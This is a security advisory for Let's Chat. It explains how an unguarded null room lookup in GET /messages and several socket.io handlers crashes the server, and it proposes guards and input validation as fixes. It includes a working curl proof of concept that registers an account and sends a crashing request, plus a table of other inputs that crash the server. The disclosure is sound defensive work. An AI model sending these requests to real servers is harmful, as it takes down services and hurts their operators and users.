
Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)
Assigned CVE ID: CVE-2026-66749
One HTTP request from any logged-in account shuts down the Let's Chat server process.
GET /messages takes a room parameter, looks that room up by id, and then calls a method
on the result without checking that the lookup returned anything. Send an id that is a valid
24 character hex string but belongs to no room, and the resulting TypeError is thrown
inside a Mongoose callback. Express only catches exceptions raised synchronously inside a
handler, so this one reaches Node as an uncaught exception and the process exits.
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.4.0 (commit 84981a6, 21 Feb 2015, which introduced the canJoin call)
through 0.4.8, the final release. No fixed version exists.
Confirmed on 0.4.8 at commit 617207f, and on docker.io/sdelements/lets-chat:latest
(0.4.7), which is still publicly pullable.
CWE-476: NULL Pointer Dereference, leading to CWE-248 Uncaught Exception and CWE-400 Uncontrolled Resource Consumption.
CVSS 4.0 base score 7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
The attacker needs one ordinary user account and network access to the HTTP port. They do not need to own or belong to any room, know any room id that exists, or hold any elevated role.
The account requirement is weak in a default install, because auth.local.enableRegistration
defaults to true in defaults.yml, so anyone who can reach the login page can create an
account and then run the request.
Neither the Procfile (web: npm start) nor docker/docker-compose.yml configures a
supervisor or restart policy, so on a stock deployment one request takes the service down
until an operator restarts it. Where an operator has added process supervision, the attacker
can simply repeat the request.
The route registers no room validation middleware. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Compare app/controllers/messages.js:34-41, where the room scoped variant does add
middlewares.roomRoute, which resolves the room and returns 404 when it does not exist:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
So on /messages the room value reaches the manager unvalidated.
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById calls back with (null, null) when the id casts cleanly but matches no
document. There is no if (!room) guard, so line 129 dereferences null.
Observed output:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Against a stock install on port 5000, with no configuration changes:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
Step 3 returns no body and curl exits with code 52 (empty reply from server). The server process is gone. Any id that is 24 hex characters and matches no room works.
express.oi registers every app.io.route(...) key as a plain socket.on(...) handler
(initRoutes in node_modules/express.oi/lib/index.js). An authenticated socket.io client
can therefore call these handlers directly, which skips the Express middleware chain
including roomRoute. It also removes Express's try/catch, so a synchronous throw that would
be a 500 over HTTP kills the process over socket.io.
Each of the following also terminates the process. Confirmed all of them.
Guard the lookups. In app/core/messages.js:118 and app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 needs the same treatment before it calls sanitizeRoom, and
app/core/rooms.js:248 should reject a missing or non string options.identifier.
Two changes would close the whole class rather than these instances. First, coerce and
validate the query parameters that are assumed to be strings (expand, room, id,
take, skip) at the controller boundary. Second, wrap the socket.io handler dispatch in
a try/catch and attach a process.on('uncaughtException') handler so a single bad request
degrades to an error response instead of stopping the server.
| Reachable over | Input | Throw site |
|---|
| HTTP and socket.io | messages:list, room set to a nonexistent id | app/core/messages.js:129 |
| HTTP and socket.io | files:list, room set to a nonexistent id | app/core/files.js:167 |
| socket.io | rooms:get with a nonexistent id, or with no id | app/core/rooms.js:213 via :234 |
| socket.io | rooms:users with no room | app/core/rooms.js:248 |
| socket.io | rooms:join with no id | app/core/rooms.js:248 |
| socket.io | messages:list with expand as an array | app/core/messages.js:97 |
| socket.io | files:list with expand as an array | app/core/files.js:139 |
| socket.io | users:get with id as an object | app/models/user.js:139 |